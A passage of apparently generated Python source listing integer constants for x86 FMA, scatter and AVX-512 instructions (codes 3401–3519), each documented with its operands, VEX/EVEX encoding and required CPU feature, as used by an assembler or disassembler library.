``VFNMSUB132PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 9E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3401
"""
``VFNMSUB132PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 9E /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMSUB132SS_XMM_XMM_XMMM32: int = 3402
"""
``VFNMSUB132SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 9F /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB132SD_XMM_XMM_XMMM64: int = 3403
"""
``VFNMSUB132SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 9F /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMSUB132SS_XMM_K1Z_XMM_XMMM32_ER: int = 3404
"""
``VFNMSUB132SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 9F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB132SD_XMM_K1Z_XMM_XMMM64_ER: int = 3405
"""
``VFNMSUB132SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 9F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERDD_VM32X_K1_XMM: int = 3406
"""
``VPSCATTERDD vm32x {k1}, xmm1``
``EVEX.128.66.0F38.W0 A0 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERDD_VM32Y_K1_YMM: int = 3407
"""
``VPSCATTERDD vm32y {k1}, ymm1``
``EVEX.256.66.0F38.W0 A0 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERDD_VM32Z_K1_ZMM: int = 3408
"""
``VPSCATTERDD vm32z {k1}, zmm1``
``EVEX.512.66.0F38.W0 A0 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERDQ_VM32X_K1_XMM: int = 3409
"""
``VPSCATTERDQ vm32x {k1}, xmm1``
``EVEX.128.66.0F38.W1 A0 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERDQ_VM32X_K1_YMM: int = 3410
"""
``VPSCATTERDQ vm32x {k1}, ymm1``
``EVEX.256.66.0F38.W1 A0 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERDQ_VM32Y_K1_ZMM: int = 3411
"""
``VPSCATTERDQ vm32y {k1}, zmm1``
``EVEX.512.66.0F38.W1 A0 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERQD_VM64X_K1_XMM: int = 3412
"""
``VPSCATTERQD vm64x {k1}, xmm1``
``EVEX.128.66.0F38.W0 A1 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERQD_VM64Y_K1_XMM: int = 3413
"""
``VPSCATTERQD vm64y {k1}, xmm1``
``EVEX.256.66.0F38.W0 A1 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERQD_VM64Z_K1_YMM: int = 3414
"""
``VPSCATTERQD vm64z {k1}, ymm1``
``EVEX.512.66.0F38.W0 A1 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERQQ_VM64X_K1_XMM: int = 3415
"""
``VPSCATTERQQ vm64x {k1}, xmm1``
``EVEX.128.66.0F38.W1 A1 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERQQ_VM64Y_K1_YMM: int = 3416
"""
``VPSCATTERQQ vm64y {k1}, ymm1``
``EVEX.256.66.0F38.W1 A1 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSCATTERQQ_VM64Z_K1_ZMM: int = 3417
"""
``VPSCATTERQQ vm64z {k1}, zmm1``
``EVEX.512.66.0F38.W1 A1 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERDPS_VM32X_K1_XMM: int = 3418
"""
``VSCATTERDPS vm32x {k1}, xmm1``
``EVEX.128.66.0F38.W0 A2 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERDPS_VM32Y_K1_YMM: int = 3419
"""
``VSCATTERDPS vm32y {k1}, ymm1``
``EVEX.256.66.0F38.W0 A2 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERDPS_VM32Z_K1_ZMM: int = 3420
"""
``VSCATTERDPS vm32z {k1}, zmm1``
``EVEX.512.66.0F38.W0 A2 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERDPD_VM32X_K1_XMM: int = 3421
"""
``VSCATTERDPD vm32x {k1}, xmm1``
``EVEX.128.66.0F38.W1 A2 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERDPD_VM32X_K1_YMM: int = 3422
"""
``VSCATTERDPD vm32x {k1}, ymm1``
``EVEX.256.66.0F38.W1 A2 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERDPD_VM32Y_K1_ZMM: int = 3423
"""
``VSCATTERDPD vm32y {k1}, zmm1``
``EVEX.512.66.0F38.W1 A2 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERQPS_VM64X_K1_XMM: int = 3424
"""
``VSCATTERQPS vm64x {k1}, xmm1``
``EVEX.128.66.0F38.W0 A3 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERQPS_VM64Y_K1_XMM: int = 3425
"""
``VSCATTERQPS vm64y {k1}, xmm1``
``EVEX.256.66.0F38.W0 A3 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERQPS_VM64Z_K1_YMM: int = 3426
"""
``VSCATTERQPS vm64z {k1}, ymm1``
``EVEX.512.66.0F38.W0 A3 /vsib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERQPD_VM64X_K1_XMM: int = 3427
"""
``VSCATTERQPD vm64x {k1}, xmm1``
``EVEX.128.66.0F38.W1 A3 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERQPD_VM64Y_K1_YMM: int = 3428
"""
``VSCATTERQPD vm64y {k1}, ymm1``
``EVEX.256.66.0F38.W1 A3 /vsib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSCATTERQPD_VM64Z_K1_ZMM: int = 3429
"""
``VSCATTERQPD vm64z {k1}, zmm1``
``EVEX.512.66.0F38.W1 A3 /vsib``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMADDSUB213PS_XMM_XMM_XMMM128: int = 3430
"""
``VFMADDSUB213PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 A6 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB213PS_YMM_YMM_YMMM256: int = 3431
"""
``VFMADDSUB213PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 A6 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB213PD_XMM_XMM_XMMM128: int = 3432
"""
``VFMADDSUB213PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 A6 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB213PD_YMM_YMM_YMMM256: int = 3433
"""
``VFMADDSUB213PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 A6 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PS_XMM_K1Z_XMM_XMMM128B32: int = 3434
"""
``VFMADDSUB213PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 A6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PS_YMM_K1Z_YMM_YMMM256B32: int = 3435
"""
``VFMADDSUB213PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 A6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3436
"""
``VFMADDSUB213PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 A6 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PD_XMM_K1Z_XMM_XMMM128B64: int = 3437
"""
``VFMADDSUB213PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 A6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PD_YMM_K1Z_YMM_YMMM256B64: int = 3438
"""
``VFMADDSUB213PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 A6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3439
"""
``VFMADDSUB213PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 A6 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMSUBADD213PS_XMM_XMM_XMMM128: int = 3440
"""
``VFMSUBADD213PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 A7 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD213PS_YMM_YMM_YMMM256: int = 3441
"""
``VFMSUBADD213PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 A7 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD213PD_XMM_XMM_XMMM128: int = 3442
"""
``VFMSUBADD213PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 A7 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUBADD213PD_YMM_YMM_YMMM256: int = 3443
"""
``VFMSUBADD213PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 A7 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PS_XMM_K1Z_XMM_XMMM128B32: int = 3444
"""
``VFMSUBADD213PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 A7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PS_YMM_K1Z_YMM_YMMM256B32: int = 3445
"""
``VFMSUBADD213PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 A7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3446
"""
``VFMSUBADD213PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 A7 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PD_XMM_K1Z_XMM_XMMM128B64: int = 3447
"""
``VFMSUBADD213PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 A7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PD_YMM_K1Z_YMM_YMMM256B64: int = 3448
"""
``VFMSUBADD213PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 A7 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3449
"""
``VFMSUBADD213PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 A7 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMADD213PS_XMM_XMM_XMMM128: int = 3450
"""
``VFMADD213PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 A8 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD213PS_YMM_YMM_YMMM256: int = 3451
"""
``VFMADD213PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 A8 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD213PD_XMM_XMM_XMMM128: int = 3452
"""
``VFMADD213PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 A8 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD213PD_YMM_YMM_YMMM256: int = 3453
"""
``VFMADD213PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 A8 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADD213PS_XMM_K1Z_XMM_XMMM128B32: int = 3454
"""
``VFMADD213PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 A8 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD213PS_YMM_K1Z_YMM_YMMM256B32: int = 3455
"""
``VFMADD213PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 A8 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3456
"""
``VFMADD213PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 A8 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD213PD_XMM_K1Z_XMM_XMMM128B64: int = 3457
"""
``VFMADD213PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 A8 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD213PD_YMM_K1Z_YMM_YMMM256B64: int = 3458
"""
``VFMADD213PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 A8 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3459
"""
``VFMADD213PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 A8 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMADD213SS_XMM_XMM_XMMM32: int = 3460
"""
``VFMADD213SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 A9 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADD213SD_XMM_XMM_XMMM64: int = 3461
"""
``VFMADD213SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 A9 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADD213SS_XMM_K1Z_XMM_XMMM32_ER: int = 3462
"""
``VFMADD213SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 A9 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADD213SD_XMM_K1Z_XMM_XMMM64_ER: int = 3463
"""
``VFMADD213SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 A9 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFMSUB213PS_XMM_XMM_XMMM128: int = 3464
"""
``VFMSUB213PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 AA /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB213PS_YMM_YMM_YMMM256: int = 3465
"""
``VFMSUB213PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 AA /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB213PD_XMM_XMM_XMMM128: int = 3466
"""
``VFMSUB213PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 AA /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB213PD_YMM_YMM_YMMM256: int = 3467
"""
``VFMSUB213PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 AA /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUB213PS_XMM_K1Z_XMM_XMMM128B32: int = 3468
"""
``VFMSUB213PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 AA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB213PS_YMM_K1Z_YMM_YMMM256B32: int = 3469
"""
``VFMSUB213PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 AA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3470
"""
``VFMSUB213PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 AA /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB213PD_XMM_K1Z_XMM_XMMM128B64: int = 3471
"""
``VFMSUB213PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 AA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB213PD_YMM_K1Z_YMM_YMMM256B64: int = 3472
"""
``VFMSUB213PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 AA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3473
"""
``VFMSUB213PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 AA /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_V4FNMADDPS_ZMM_K1Z_ZMMP3_M128: int = 3474
"""
``V4FNMADDPS zmm1 {k1}{z}, zmm2+3, m128``
``EVEX.512.F2.0F38.W0 AA /r``
``AVX512_4FMAPS``
``16/32/64-bit``
"""
VEX_VFMSUB213SS_XMM_XMM_XMMM32: int = 3475
"""
``VFMSUB213SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 AB /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMSUB213SD_XMM_XMM_XMMM64: int = 3476
"""
``VFMSUB213SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 AB /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMSUB213SS_XMM_K1Z_XMM_XMMM32_ER: int = 3477
"""
``VFMSUB213SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 AB /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFMSUB213SD_XMM_K1Z_XMM_XMMM64_ER: int = 3478
"""
``VFMSUB213SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 AB /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_V4FNMADDSS_XMM_K1Z_XMMP3_M128: int = 3479
"""
``V4FNMADDSS xmm1 {k1}{z}, xmm2+3, m128``
``EVEX.LIG.F2.0F38.W0 AB /r``
``AVX512_4FMAPS``
``16/32/64-bit``
"""
VEX_VFNMADD213PS_XMM_XMM_XMMM128: int = 3480
"""
``VFNMADD213PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 AC /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD213PS_YMM_YMM_YMMM256: int = 3481
"""
``VFNMADD213PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 AC /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD213PD_XMM_XMM_XMMM128: int = 3482
"""
``VFNMADD213PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 AC /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD213PD_YMM_YMM_YMMM256: int = 3483
"""
``VFNMADD213PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 AC /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMADD213PS_XMM_K1Z_XMM_XMMM128B32: int = 3484
"""
``VFNMADD213PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 AC /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD213PS_YMM_K1Z_YMM_YMMM256B32: int = 3485
"""
``VFNMADD213PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 AC /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3486
"""
``VFNMADD213PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 AC /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD213PD_XMM_K1Z_XMM_XMMM128B64: int = 3487
"""
``VFNMADD213PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 AC /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD213PD_YMM_K1Z_YMM_YMMM256B64: int = 3488
"""
``VFNMADD213PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 AC /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3489
"""
``VFNMADD213PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 AC /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMADD213SS_XMM_XMM_XMMM32: int = 3490
"""
``VFNMADD213SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 AD /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMADD213SD_XMM_XMM_XMMM64: int = 3491
"""
``VFNMADD213SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 AD /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMADD213SS_XMM_K1Z_XMM_XMMM32_ER: int = 3492
"""
``VFNMADD213SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 AD /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMADD213SD_XMM_K1Z_XMM_XMMM64_ER: int = 3493
"""
``VFNMADD213SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 AD /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMSUB213PS_XMM_XMM_XMMM128: int = 3494
"""
``VFNMSUB213PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 AE /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB213PS_YMM_YMM_YMMM256: int = 3495
"""
``VFNMSUB213PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 AE /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB213PD_XMM_XMM_XMMM128: int = 3496
"""
``VFNMSUB213PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 AE /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB213PD_YMM_YMM_YMMM256: int = 3497
"""
``VFNMSUB213PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 AE /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PS_XMM_K1Z_XMM_XMMM128B32: int = 3498
"""
``VFNMSUB213PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 AE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PS_YMM_K1Z_YMM_YMMM256B32: int = 3499
"""
``VFNMSUB213PS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 AE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3500
"""
``VFNMSUB213PS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.66.0F38.W0 AE /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PD_XMM_K1Z_XMM_XMMM128B64: int = 3501
"""
``VFNMSUB213PD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 AE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PD_YMM_K1Z_YMM_YMMM256B64: int = 3502
"""
``VFNMSUB213PD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 AE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3503
"""
``VFNMSUB213PD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F38.W1 AE /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VFNMSUB213SS_XMM_XMM_XMMM32: int = 3504
"""
``VFNMSUB213SS xmm1, xmm2, xmm3/m32``
``VEX.LIG.66.0F38.W0 AF /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFNMSUB213SD_XMM_XMM_XMMM64: int = 3505
"""
``VFNMSUB213SD xmm1, xmm2, xmm3/m64``
``VEX.LIG.66.0F38.W1 AF /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFNMSUB213SS_XMM_K1Z_XMM_XMMM32_ER: int = 3506
"""
``VFNMSUB213SS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.66.0F38.W0 AF /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFNMSUB213SD_XMM_K1Z_XMM_XMMM64_ER: int = 3507
"""
``VFNMSUB213SD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.66.0F38.W1 AF /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMADD52LUQ_XMM_K1Z_XMM_XMMM128B64: int = 3508
"""
``VPMADD52LUQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 B4 /r``
``AVX512VL and AVX512_IFMA``
``16/32/64-bit``
"""
EVEX_VPMADD52LUQ_YMM_K1Z_YMM_YMMM256B64: int = 3509
"""
``VPMADD52LUQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 B4 /r``
``AVX512VL and AVX512_IFMA``
``16/32/64-bit``
"""
EVEX_VPMADD52LUQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3510
"""
``VPMADD52LUQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 B4 /r``
``AVX512_IFMA``
``16/32/64-bit``
"""
EVEX_VPMADD52HUQ_XMM_K1Z_XMM_XMMM128B64: int = 3511
"""
``VPMADD52HUQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 B5 /r``
``AVX512VL and AVX512_IFMA``
``16/32/64-bit``
"""
EVEX_VPMADD52HUQ_YMM_K1Z_YMM_YMMM256B64: int = 3512
"""
``VPMADD52HUQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 B5 /r``
``AVX512VL and AVX512_IFMA``
``16/32/64-bit``
"""
EVEX_VPMADD52HUQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3513
"""
``VPMADD52HUQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 B5 /r``
``AVX512_IFMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB231PS_XMM_XMM_XMMM128: int = 3514
"""
``VFMADDSUB231PS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 B6 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB231PS_YMM_YMM_YMMM256: int = 3515
"""
``VFMADDSUB231PS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 B6 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB231PD_XMM_XMM_XMMM128: int = 3516
"""
``VFMADDSUB231PD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W1 B6 /r``
``FMA``
``16/32/64-bit``
"""
VEX_VFMADDSUB231PD_YMM_YMM_YMMM256: int = 3517
"""
``VFMADDSUB231PD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W1 B6 /r``
``FMA``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PS_XMM_K1Z_XMM_XMMM128B32: int = 3518
"""
``VFMADDSUB231PS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 B6 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFMADDSUB231PS_YMM_K1Z_YMM_YMMM256B32: int = 3519
"""
